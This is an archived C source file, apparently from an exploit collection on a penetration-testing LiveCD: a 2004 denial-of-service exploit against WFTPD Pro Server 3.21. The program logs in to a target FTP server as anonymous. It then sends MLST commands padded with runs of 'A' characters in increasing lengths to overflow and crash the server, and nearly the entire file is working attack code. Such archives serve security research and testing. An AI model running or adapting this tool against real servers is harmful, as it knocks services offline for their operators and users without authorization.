home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wftpd / 2004.08.31.wftpd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  243 lines

  1. /*
  2. *-----------------------------------------------------------------------
  3. * wftpd.c - WFTPD Pro Server 3.21 MLST DoS Exploit
  4. *
  5. * Copyright (C) 2000-2004 HUC All Rights Reserved.
  6. *
  7. * Author   : lion
  8. *             : lion cnhonker net
  9. *             : www cnhonker com
  10. * Date     : 2004-08-30
  11. *
  12. *-----------------------------------------------------------------------
  13. */
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <winsock2.h> 
  18.  
  19. #pragma comment(lib, "ws2_32.lib")
  20.  
  21. #define FTPPORT      21
  22. #define BUFFSIZE     204800
  23. #define OVERFLOWSIZE 220
  24. #define SIZE         2048      
  25.  
  26. // function
  27. int create_socket();
  28. int client_connect(int sockfd,char* server,int port);
  29. int writebuf(char *s,int socket,char *buffer,int len);
  30. int readbuf(char *s,int socket,char *buffer,int len);
  31. void checkstatus(char *s);
  32. void loginftp(SOCKET sockfd, char *user, char *pass);
  33.  
  34. int show = 1;
  35. char recvbuf[BUFFSIZE];
  36. char sendbuf[BUFFSIZE];
  37.  
  38. void main(int argc, char *argv[])
  39. {
  40.     WSADATA wsa;
  41.     unsigned short    port;
  42.     unsigned long     ip;
  43.     char user[32] = "anonymous";
  44.     char pass[32] = "anonymous";
  45.     int i;
  46.     
  47.     char *command = "MLST ";
  48.  
  49.     SOCKET s;
  50.     int size = OVERFLOWSIZE;
  51.  
  52.     printf("WFTPD Pro Server 3.21 MLST DoS Exploit\r\n");
  53.         printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n");
  54.  
  55.     if(argc < 3)
  56.     {
  57.         printf("%s <TargetHost> <TargetPort>\r\n", argv[0]);
  58.         return;
  59.     }
  60.     
  61.     WSAStartup(MAKEWORD(2,2),&wsa);
  62.  
  63.     if((s=create_socket())==0) 
  64.     {
  65.         printf("[-] ERROR: Create socket failed.\r\n");
  66.         return;
  67.     }
  68.       
  69.     if(!client_connect(s, argv[1], atoi(argv[2])))
  70.         exit(-1);
  71.     
  72.     loginftp(s, user, pass);
  73.     
  74.     memset(sendbuf, 0 ,BUFFSIZE);
  75.     memcpy(sendbuf, "pasv\r\n", 6);
  76.     writebuf("Send pasv", s, sendbuf, 6);
  77.     readbuf("read", s, recvbuf, BUFFSIZE);
  78.     
  79.     for(i=0;i<60;i++,size++)
  80.     {
  81.         memset(sendbuf, 0, BUFFSIZE);
  82.         memset(sendbuf, 'A', size);
  83.         memcpy(sendbuf, command, strlen(command));
  84.         sendbuf[size-2] ='\r';
  85.         sendbuf[size-1] ='\n';
  86.         
  87.         printf("buff size :%d\r\n%s\r\n", strlen(sendbuf), sendbuf);
  88.         show=1;
  89.         writebuf("Send overflow buff", s, sendbuf, size);
  90.         readbuf("read", s, recvbuf, BUFFSIZE);
  91.         Sleep(500);
  92.     }
  93.     
  94.     //send QUIT
  95.     memset(sendbuf,0, BUFFSIZE);
  96.     sprintf(sendbuf, "%s\r\n", "QUIT");
  97.     writebuf("Send QUIT", s, sendbuf, strlen(sendbuf));
  98.     
  99.     //show=1;
  100.     //readbuf("[+] QUIT......", s, recvbuf, BUFFSIZE);    
  101.     //return;
  102.         
  103.     if(s)
  104.         closesocket(s);
  105.           
  106.     WSACleanup();
  107. }
  108.  
  109. int create_socket()
  110. {  
  111.     int sockfd;
  112.   
  113.     sockfd=socket(AF_INET,SOCK_STREAM,0);
  114.     if(sockfd<0)
  115.     {
  116.         printf("[-] Create socket error.\r\n");
  117.         return(0);
  118.     }
  119.     
  120.     return(sockfd);    
  121. }
  122.  
  123. int client_connect(int sockfd,char* server,int port)
  124. {
  125.     struct sockaddr_in cliaddr;
  126.     struct hostent *host;
  127.  
  128.     if((host=gethostbyname(server))==NULL)
  129.     {
  130.         printf("[-] ERROR: gethostbyname(%s) error\n", server);
  131.         return(-1);
  132.     }      
  133.     
  134.     memset(&cliaddr, 0, sizeof(struct sockaddr));
  135.  
  136.     cliaddr.sin_family=AF_INET;
  137.     cliaddr.sin_port=htons(port);
  138.     cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
  139.     printf("[+] Trying %s:%d......", server, port);
  140.     fflush(stdout);
  141.  
  142.     if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
  143.     {
  144.         printf("FAILED!\r\n");
  145.         closesocket(sockfd);
  146.         return(-1);
  147.     }
  148.  
  149.     printf("OK!\r\n");
  150.     return(1);
  151. }
  152.  
  153. int writebuf(char *s,int socket,char *buffer,int len)
  154. {
  155.     int j;
  156.  
  157.     if(s)
  158.     {
  159.         printf("[+] %s......", s);
  160.         fflush(stdout);
  161.     }    
  162.  
  163.     j=send(socket,buffer,len,0);
  164.     if(j<=0)
  165.     {
  166.         printf("FAILED!\r\n");
  167.             exit(-1);
  168.     }    
  169.     printf("OK!\r\n");
  170.     return j;
  171. }
  172.  
  173. int readbuf(char *s,int socket,char *buffer,int len)
  174. {
  175.     int a,b,i,j=0;
  176.     
  177.     a=b=i=0;
  178.     memset(buffer,0,len);
  179.  
  180.     if(s)
  181.     {
  182.         printf("[+] %s......", s);
  183.         fflush(stdout);
  184.     }
  185.  
  186.     j=recv(socket,buffer,len-1,0);
  187.     if(j <= 0)
  188.     {
  189.         if(s) printf("FAILED!\n");
  190.             printf("[-] Recv data error.\n");
  191.         exit(-1);
  192.     }    
  193.         
  194.     if(s) printf("OK!\n");
  195.  
  196.     buffer[len-1]='\0';
  197.  
  198.     if(show==1)  printf("<==\r\n%s<==\r\n",buffer);
  199.  
  200.     return j;
  201. }
  202.  
  203. void checkstatus(char *s)
  204. {
  205.     if(s==NULL) exit(-1);
  206.     if(isdigit(*s))
  207.     {
  208.         if(s[0]=='5')
  209.         {    
  210.             printf("[-] Server told:%s\n",s);
  211.             exit(-1);
  212.         }
  213.         else return;
  214.     }
  215.  
  216.     printf("[-] Server said:%s\n",s);
  217.     exit(-1);
  218. }
  219.  
  220. void loginftp(SOCKET sockfd, char *user, char *pass)
  221. {
  222.     int j;
  223.     
  224.     show=1;
  225.     readbuf("Get FTP Server banner",sockfd, recvbuf, SIZE);
  226.     //show=0;
  227.  
  228.     //send USER username
  229.     memset(sendbuf,0,BUFFSIZE);
  230.     j=sprintf(sendbuf,"%s %s\r\n", "USER", user);
  231.     writebuf("Send USER", sockfd,sendbuf,j);
  232.     readbuf(NULL,sockfd, recvbuf, BUFFSIZE);
  233.     checkstatus(recvbuf);
  234.  
  235.     //send PASS password
  236.     memset(sendbuf,0,BUFFSIZE);
  237.     j=sprintf(sendbuf,"%s %s\r\n","PASS", pass);
  238.     writebuf("Send PASS", sockfd, sendbuf, j);
  239.     readbuf(NULL,sockfd,recvbuf, BUFFSIZE);
  240.     checkstatus(recvbuf);
  241.     printf("[+] User %s logged in.\r\n", user);
  242. }